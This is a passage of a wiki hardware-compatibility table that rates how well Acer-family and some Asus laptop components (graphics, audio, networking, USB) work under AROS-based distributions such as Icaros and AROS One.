*80% ODM (Original Design Manufacturer) such as Quanta, Compal, Wistron, Inventec, Foxconn (Hon Hai), Flextronics and Asus (now Pegatron) 
*20% MiTAC, FIC, Arima, Uniwill, ECS, Tonfang Origin and Clevo 


{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
| &lt;!--OK--&gt;{{Yes|'''Works well'''}} || &lt;!--May work--&gt;{{Maybe|'''Works a little'''}} || &lt;!--Not working--&gt;{{No|'''Does not work'''}} || &lt;!--Not applicable--&gt;{{N/A|'''N/A not applicable'''}}
|-
|}


====Acer/Gateway/Emachines====

Company founded under the name of Multitech in Taiwan in 1976, renamed to Acer or Acer Group in 1987

Order of build quality (Lowest to highest) 
&lt;pre &gt;
Packard Bell 
Aspire 
Extensa 
TimeLine
Travelmate 
&lt;/pre &gt;

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name 
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;2%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Travelmate 505 506 507 508 Series || &lt;!--Chipset--&gt;P2 Celeron 466Mhz || &lt;!--IDE--&gt;{{Yes|boots}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA Neo Magic Magic Graph 128XD (NM2160)}} || &lt;!--Audio--&gt;{{No|AC97 Crystal CS}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;1998 minimal support but no audio etc - 506T, 506DX, 507T, 507DX, 508T 
|-
| &lt;!--Name--&gt;TravelMate 340 342 343 345 347 || &lt;!--Chipset--&gt;ALi M1621 with piii || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Trident Cyber 9525 || &lt;!--Audio--&gt;{{No|ESS ES1969 Solo-1}} || &lt;!--USB--&gt;2 ALi OHCI USB 1.1 || &lt;!--Ethernet--&gt;a few have Intel e100 || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2000 32bit - 340T, 341T, 342T, 342TV, 343TV, 345T, 347TV 
|-
| &lt;!--Name--&gt;TravelMate 350 351 352 353 || &lt;!--Chipset--&gt;Ali with piii || &lt;!--IDE--&gt;{{Yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;Trident Cyber Blade DSTN/Ai1 || &lt;!--Audio--&gt;{{No|ali5451}} || &lt;!--USB--&gt;2 USB 1.1 Ali M5237 OHCI || &lt;!--Ethernet--&gt;e100 || &lt;!--Wireless--&gt;Acer InviLink IEEE 802.11b || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2001 32bit very limited support but no support for PCMCIA O2 Micro OZ6933 - 350T, 351TEV, 352TEV, 353TEV 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;TravelMate 610 series 611 612 613 614 || &lt;!--Chipset--&gt;815 P3 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;Intel 82815 cgc || &lt;!--Audio--&gt;AC97 || &lt;!--USB--&gt;USB 1.1 || &lt;!--Ethernet--&gt;Intel e100 pro || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2001 32bit - 610TXVi 610T 611TXV 612TX 613TXC 
|-
| Aspire 3003LM || SIS AMD 3000 1.8GHz || {{yes}} || {{N/A}} || {{maybe|SIS AGP M760GX (VESA only)}} || {{yes|AC97 SIS codec}} || 3 USB 2.0 || {{yes|SIS900}} || {{no|Broadcom BCM4318 AirForce One 54g}} || Icaros 1.2.4 || 2003 sempron 
|-
| Travelmate 2310 Series ZL6 || Intel Celeron M 360 1.4GHz with SiS 661MX || {{yes}} || {{N/A}} || {{maybe|SiS Mirage M661MX (VESA only)}} || {{yes|SIS SI7012 AC97 with realtek ALC203 codec speakers only}} ||  || {{yes|SIS900}} || {{N/A|LM version has pci card slot but no antenna}} || 2017 Icaros 2.1.1 || 2004 32bit - No USB boot option but boot from DVD - reports of wifi losing connection (isolate/remove the metallic grounding foil ends of the antennas) - 2312LM_L - 
|-
| &lt;!--Name--&gt;Aspire 3000 3002LMi 3500 5000 || &lt;!--Chipset--&gt;AMD CPU W-with SIS M760 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;SIS 760 || &lt;!--Audio--&gt;SIS || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;SIS 900 || &lt;!--Wireless--&gt;{{No|Broadcom BCM4318 swap for Atheros}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit 
|-
| &lt;!--Name--&gt;Aspire 3050 5020 5050 || &lt;!--Chipset--&gt;AMD Single and Turion MK-36 Dual and RS480 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Use VESA - RS482M Xpress 1100 or RS485M Xpress 1150 || &lt;!--Audio--&gt;HD Audio Realtek ALC883 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;8139 || &lt;!--Wireless--&gt;Atheros 5006G or Broadcom BCM 4318 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit MK36 gets very hot 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;TravelMate 2410 2420 2430 series || &lt;!--Chipset--&gt;915GM || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel Mobile 915GMS 910GML || &lt;!--Audio--&gt;Intel AC97 ICH6 with ALC203 codec || &lt;!--USB--&gt;4 USB2.0 || &lt;!--Ethernet--&gt;Realtek RTL-8139 || &lt;!--Wireless--&gt;Atheros 5005GS || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit 2428AWXMi - 
|-
| &lt;!--Name--&gt;Acer Aspire 3610 - WISTRON MORAR 3614WLMI || &lt;!--Chipset--&gt;Intel 915 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|Intel GMA 2D and 3D}} || &lt;!--Audio--&gt;{{yes|[http://www.amiga.org/forums/showpost.php?p=644066&amp;postcount=13 AC97]}}  || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{yes|RTL 8139 8139C+}} || &lt;!--Wireless--&gt;{{Maybe|Atheros AR5001X+, AR5BMB5 or Broadcom 4318}} || &lt;!--Test Distro--&gt; Icaros 1.2.4 || &lt;!--Comments--&gt;2005 32bit with good support [http://ubuntuforums.org/showthread.php?p=6205188#post6205188 wifi issues] 
|-
| &lt;!--Name--&gt;TravelMate 2480 series 2483 WXMi (HannStar J MV4 94V) 2483NWXCi Aspire 3680, 3690 || &lt;!--Chipset--&gt;940GML i943 with Celeron 430 1.77GHz - 14.1&quot; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes| }} || &lt;!--Gfx--&gt;{{Yes|2D and 3D openGL 1.x - Tunnel 181 gearbox 104 scores}} || &lt;!--Audio--&gt;{{Yes|HD Audio with ALC883 codec playback}} || &lt;!--USB--&gt;{{Yes|3 USB 2.0}} || &lt;!--Ethernet--&gt;{{No|Marvell 88E8038 yukon sky2}} || &lt;!--Wireless--&gt;{{No|Atheros 5k AR5005G AR5BMB5 mini pci}} suspect laptop hardware issues || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2006 Works well shame about the internet options - noisy fan - poor battery life - no boot option for TI based mass storage sd card - Max 2GB memory - LCD Inverter Board IV12090/T-LF - 
|-
| &lt;!--Name--&gt;TravelMate 2490 series 2492WXMi || &lt;!--Chipset--&gt;940GML || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|Intel 945 2D and 3D tunnel 164 gearbox 105}} || &lt;!--Audio--&gt;{{Yes|HD Audio}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Maybe|Broadcom BCM4401}} || &lt;!--Wireless--&gt;{{No|Atheros AR5005GS suspect hardware issue}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2006 32bit - 15inch screen - strange curved up at ends keyboard style - overall plastic construction - Atheros AR5005G(s) - 
|-
| &lt;!--Name--&gt;Gateway ML6227B MA7 || &lt;!--Chipset--&gt;Celeron M 520 1.6Ghz with 945GM || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|945GM 2D and 3D tunnel 169 gearbox 132}} || &lt;!--Audio--&gt;{{No|HDA Intel with STAC9250 codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Marvell 88E8038}} || &lt;!--Wireless--&gt;{{No|8187L but swap ath5k mini pcie}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2006 15.4 ultrabrite widescreen - Wifi Switch on side Fn/F2 - 
|-
| &lt;!--Name--&gt;Acer Aspire 5630-6796 6288 BL50 || &lt;!--Chipset--&gt;T5200 T5500 Intel® Core™2 Duo T7200 T7400 T7600 || &lt;!--IDE--&gt;{{Yes| }} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Yes|Intel® GMA 950 with S-Video out with 2D and 3D}} || &lt;!--Audio--&gt;{{Yes|HDAudio with ALC883? codec}} || &lt;!--USB--&gt;{{Yes|4 USB}} || &lt;!--Ethernet--&gt;{{yes|Broadcom BCM4401}} || &lt;!--Wireless--&gt;{{No|Intel 3945abg swap for Atheros 5K}} || &lt;!--Test Distro--&gt;Tiny AROS || &lt;!--Comments--&gt;2006 - 64bit 39.1 cm (15.4&quot; 1280 x 800) - 2 DDR2-SDRAM slots max 4GB - green mobo?? - 
|-
| &lt;!--Name--&gt;Acer Aspire 5633WMLI BL51 || &lt;!--Chipset--&gt;T5500 with Intel® 945PM/GM Express || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE mode}} || &lt;!--Gfx--&gt;{{Yes|Nvidia Go 7300 with 2D and 3D}} || &lt;!--Audio--&gt;{{Yes|HD Audio with Realtek codec}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{yes|Broadcom 440x}} || &lt;!--Wireless--&gt;{{No|Intel 3945 swap for Atheros 5k}} || &lt;!--Test Distro--&gt;Tiny Aros || &lt;!--Comments--&gt;2007 64 bit dual core2 - 15.4 WXGA screen - ddr2 max 4gb - OrbiCam no support - ENE chipset SD card - blue mobo?? - 
|-
| &lt;!--Name--&gt;Acer Aspire 9410 9420 || &lt;!--Chipset--&gt;Intel Core Duo with 945PM Express || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes| }} || &lt;!--Gfx--&gt;{{Yes|2D NVIDIA GeForce Go 7300 - 128 MB VRAM G72M}} || &lt;!--Audio--&gt;{{Yes|Intel HD audio with  codec}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{Yes|rtl8169 8111 }} || &lt;!--Wireless--&gt;{{No|Intel 3945ABG but could swap with atheros 5k}} || &lt;!--Test Distro--&gt;Icaros 2.3 || &lt;!--Comments--&gt;2007 32bit - 17in TFT 1,440 x 900 WXGA+ - 2 ddr2 sodimm slots max 4gb - 
|-
| &lt;!--Name--&gt;eMachines E510 series KAL10 || &lt;!--Chipset--&gt;Intel Celeron M 560 2.13Ghz with PM965  || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel x3100 || &lt;!--Audio--&gt;{{Yes|Intel with  codec}} || &lt;!--USB--&gt;Intel || &lt;!--Ethernet--&gt;{{No|Broadcom BCM5906M}} || &lt;!--Wireless--&gt;{{No|Atheros G AR5BXB63 bios issue??}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2007 32bit very budget machine with InsydeH20 bios and F10 boot menu 
|-
| &lt;!--Name--&gt;ACER Aspire 5920 [http://tim.id.au/laptops/acer/aspire%205920g.pdf 5920G] || &lt;!--Chipset--&gt;Santa Rosa Core 2 Duo T7300 T7500 later T9300 with GM965 and PM965(G) Express || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Maybe|use VESA for X3100M or 8600M GS (rev a1) 9500M GT 256MB vram (G) but some AMD/ATI RV635 M86 HD 3650}} || &lt;!--Audio--&gt;{{No|HD Audio with realtek alc268, [https://forums.opensuse.org/t/no-sound-on-acer-aspire-5920g/32392 ALC883] or Realtek ALC1200 / alc888s codec ICH8}} || &lt;!--USB--&gt;{{Yes|USB2 }} || &lt;!--Ethernet--&gt;{{No|Broadcom BCM5787M}} || &lt;!--Wireless--&gt;{{unk|Intel 3945ABG 4965 or Atheros 9k AR9285}} || &lt;!--Test Distro--&gt;Deadwood test iso 2023-01 2023-11 || &lt;!--Comments--&gt;2008 64bit boot with 'noacpi' or 'noioapic' - 15.4in 1280 x 800 pixels 16:10 - BMW Designworks ‘Gemstone’ design - over 3.0kg with options for 8-cell or 6-cell batteries - 2 SODIMM DDR2 667MT/s max 4GB - synaptics touchpad - 
|-
| &lt;!--Name--&gt;Acer A0521 Ao721 || Athlon II Neo K125 + AMD M880G || {{N/A}} || {{maybe| }} || {{maybe|ATI Radeon HD 4225 (VESA only)}} || {{No|Conexant}} || {{Maybe| }} || {{no|AR8152 l1c}} || {{unk|AR9285 ath9k}} || AspireOS 1.7 || 2006 64bit possible 
|-
| &lt;!--Name--&gt; Extensa 5630Z || &lt;!--Chipset--&gt;T6600 with Intel GL40 Express || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe|IDE mode}} || &lt;!--Gfx--&gt; {{Yes|Intel GMA 4500M HD (2D)}} || &lt;!--Audio--&gt; {{Yes|HD Audio}} || &lt;!--USB--&gt; {{Yes|USB 2.0}} || &lt;!--Ethernet--&gt; {{No|Broadcom BCM 5764M}} || &lt;!--Wireless--&gt; {{No|RaLink RT2860}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 64bit 
|-
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Aspire 5250 series 5253 BZ400 BZ602 || &lt;!--Chipset--&gt;E350 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{no|VESA 2D for AMD HD6310}} || &lt;!--Audio--&gt;{{yes|HDaudio for codec Conexant CX20584}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no|Atheros AR8151}} || &lt;!--Wireless--&gt;{{no|Atheros 9k AR5B97}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;Aspire V5 V5-121 V5121 AO725 One 725 || &lt;!--Chipset--&gt;AMD C-70 C70 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{no|VESA for AMD 6290G}} || &lt;!--Audio--&gt;{{no|Realtek ALC269 codec}} || &lt;!--USB--&gt;{{yes|2 x USB2}} || &lt;!--Ethernet--&gt;{{no|Broadcom}} || &lt;!--Wireless--&gt;{{no|Broadcom}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;Aspire V5-122P MS2377 || &lt;!--Chipset--&gt;C-70 C70 with M55, AMD A4-1250 or A6 1450 up to 1.4Ghz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;AMD 8210 || &lt;!--Audio--&gt;{{unk|HDaudio with  codec}} || &lt;!--USB--&gt;{{maybe|FCH USB EHCI OHCI}} || &lt;!--Ethernet--&gt;{{Maybe|rtl8169 but LAN/VGA Combo Port Cable (AK.LAVGCA 001) or MiniCP port to Acer Converter Cable (Mini CP to VGA/LAN/USB) (NP.OTH11 00C) needed}} || &lt;!--Wireless--&gt;{{unk|Atheros 9k AR9565}} || &lt;!--Test Distro--&gt;Aros One || &lt;!--Comments--&gt;2012 64bit but no sse4 or avx - 26w battery internal, extension possible - 11.6in 1366 x 768 ips touchscreen - 7mm hd ssd - 2gb ddr3l soldered with 1 slot free max 4GB - bios hacking needed for virtualisation - 
|-
| &lt;!--Name--&gt;Packard Bell EasyNote TE69 TE69KB 522 || &lt;!--Chipset--&gt;slow E1-2500, E2-3800 2c2t Dual or A4-5000 4c4t Quad both soldered BGA769 (FT3) on Hudson-2 FCH || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe|Use IDE mode}} setting AHCI to IDE mode - boots if UEFI set to Legacy || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for ATI Radeon 8120 8240, 8320, 8330 or 8280 islands}} || &lt;!--Audio--&gt;{{Yes|HDAudio with ALC282 0x10ec, 0x0282 codec but not HDMI}} || &lt;!--USB--&gt;{{Yes|Bios, Boot, set Boot mode to Legacy, nothing from USB3}} || &lt;!--Ethernet--&gt;{{No|Atheros AR8171 AR8175 or Broadcom BCM57780}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9565 0x1969 0x10a1}} || &lt;!--Test Distro--&gt;Aspire OS Xenon and AROS One 1.6 usb || &lt;!--Comments--&gt;2013 64bit with sse4.1 and AVX - 15.6in washed out screen big netbook - Boots with noacpi after using F2 to enter EFI firmware and f12 boot device - 2 ddr3 sodimm slots max 16Gb - 
|-
| &lt;!--Name--&gt;ASPIRE Acer Aspire ES1-520 521 522 Series N15C4 ES1-523 || &lt;!--Chipset--&gt;AMD AMD E1-7010, A8-7410 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{partial|VESA for RADEON R5}} || &lt;!--Audio--&gt;{{no|Realtek ALC 233 or CX20752 HD AUDIO CODEC}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{no|Atheros AR8151 Gigabit or Broadcom 590x}} || &lt;!--Wireless--&gt;{{no|Realtek RTL8187 or 8812BU}} || &lt;!--Test Distro--&gt;Aros One || &lt;!--Comments--&gt;2015 64bit with sse4.1 and AVX - 2 ddr3l slots - keyboard connected to top case - 
|-
| &lt;!--Name--&gt;Acer Aspire V15 NITRO Black edition || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GTX 860M || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit 
|-
| &lt;!--Name--&gt;Predator 15 (G9-591-)  (G9-593-72VT) || &lt;!--Chipset--&gt;Intel i7-6700HQ || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;GTX 960M to 980M, GTX 1060 || &lt;!--Audio--&gt;{{unk|HDAudio with Realtek ALC255 @ Intel Sunrise Point PCH High Definition Audio Controller}} || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Nitro 5 an515-42 || &lt;!--Chipset--&gt;Ryzen 2500u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;AMD rx560x  || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 
|-
| &lt;!--Name--&gt;aspire 3 A315-41 || &lt;!--Chipset--&gt;Ryzen 2500u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;AMD Vega  || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 
|-
| &lt;!--Name--&gt;swift 3 sf315-41 || &lt;!--Chipset--&gt;Ryzen 2500u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;AMD Vega  || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 
|-
| &lt;!--Name--&gt;Acer Aspire 3 A315-23 || &lt;!--Chipset--&gt;AMD Ryzen 3020e, r3 3200u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme  || &lt;!--Gfx--&gt;VESA 2D for AMD || &lt;!--Audio--&gt;{{unk|HDAudio with codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe| }} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64bit - 
|-
| &lt;!--Name--&gt;Aspire 3, 5 A515-44-R0ZN || &lt;!--Chipset--&gt;AMD Ryzen 5 4500u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{unk|HDAudio with ALC codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit - 14in or 15.6&quot; 1080p - 19v round charging - [https://www.youtube.com/watch?v=vr0tC3QJWxk repair], 4gb soldered with 1 ddr4 sodimm slot - 
|-
| &lt;!--Name--&gt;Swift 3 SF314-42 series N19C4 , Swift SF315-4 || &lt;!--Chipset--&gt;Ryzen 5 4500U, 7 4700U|| &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme  || &lt;!--Gfx--&gt;VESA 2D for AMD || &lt;!--Audio--&gt;{{unk|HDAudio with codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit 1080p - small round ac 19v 3.42A or usb-c - mobo FH4FR LA-J731P - 
|-
| &lt;!--Name--&gt;Acer Swift 3 SF314-43, Swift SF315-41 || &lt;!--Chipset--&gt;Ryzen 7 5700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme  || &lt;!--Gfx--&gt;VESA 2D for AMD || &lt;!--Audio--&gt;{{unk|HDAudio with codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit 1080p - small round ac or usb-c - 
|-
| &lt;!--Name--&gt;Aspire 5 A515-45 || &lt;!--Chipset--&gt;r7 5700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;AMD || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - 15.6in 1080p - asus round ac - 
|-
| &lt;!--Name--&gt;Aspire 5 A515-47 || &lt;!--Chipset--&gt;ryzen 5 5625U,  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;AMD || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - 15.6in 1080p - asus round ac - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


====Asus====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Asus L8400-K Medion MD9467 || &lt;!--Chipset--&gt;Intel desktop 850MHz || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;S3 Savage MX || &lt;!--Audio--&gt;{{No|ESS allegro 1988}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8139 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2001 32bit 
|-
| &lt;!--Name--&gt;Asus L2000 L2400 L2D Series Medion 9675 || &lt;!--Chipset--&gt;Athlon 4 mobile || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;use vesa sis630 || &lt;!--Audio--&gt;{{No|sis7018}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;sis900 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2002 32bit 
|-
